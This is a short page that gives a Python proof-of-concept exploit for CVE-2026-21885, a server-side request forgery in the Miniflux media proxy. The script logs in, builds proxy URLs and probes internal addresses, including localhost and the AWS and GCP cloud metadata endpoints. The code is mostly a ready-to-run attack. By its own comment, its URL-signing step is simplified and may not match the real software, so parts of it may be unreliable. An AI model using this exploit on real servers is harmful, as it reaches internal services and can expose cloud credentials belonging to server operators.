CVE-2026-21885 Miniflux 2 媒体代理端点SSRF漏洞

#!/usr/bin/env python3 """ CVE-2026-21885 Miniflux SSRF PoC Target: Miniflux < 2.2.16 Type: Server-Side Request Forgery via media proxy endpoint """ import requests import hashlib import base64 import urllib.parse # Configuration TARGET_URL = "http://target-miniflux-server.com" # Replace with target USERNAME = "attacker" PASSWORD = "password" def get_auth_token(): """Login to Miniflux and get session token""" login_url = f"{TARGET_URL}/login" session = requests.Session() response = session.get(login_url) login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data, allow_redirects=False) return session def generate_proxy_url(session, target_url): """ Generate signed proxy URL for the target URL The signature is based on digest of the URL """ # Encode target URL encoded_url = base64.urlsafe_b64encode(target_url.encode()).decode().rstrip('=') # Generate digest (simplified - actual implementation may vary) digest = hashlib.sha256(target_url.encode()).hexdigest()[:16] encoded_digest = base64.urlsafe_b64encode(digest.encode()).decode().rstrip('=') proxy_url = f"{TARGET_URL}/proxy/{encoded_digest}/{encoded_url}" return proxy_url def exploit_ssrf(session, internal_target): """Execute SSRF attack against internal target""" proxy_url = generate_proxy_url(session, internal_target) print(f"[*] Target internal URL: {internal_target}") print(f"[*] Proxy URL: {proxy_url}") try: response = session.get(proxy_url, timeout=10) print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.content)} bytes") if response.status_code == 200: print(f"[+] Success! Response preview:") print(response.text[:500]) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): print("="*60) print("CVE-2026-21885 Miniflux SSRF Exploitation") print("="*60) # Login to get authenticated session session = get_auth_token() # Target internal resources internal_targets = [ "http://127.0.0.1:8080/", # Localhost "http://localhost:80/", # Local HTTP "http://169.254.169.254/latest/meta-data/", # AWS metadata "http://metadata.google.internal/computeMetadata/v1/", # GCP metadata ] for target in internal_targets: print(f"\n[*] Testing: {target}") exploit_ssrf(session, target) if __name__ == "__main__": main()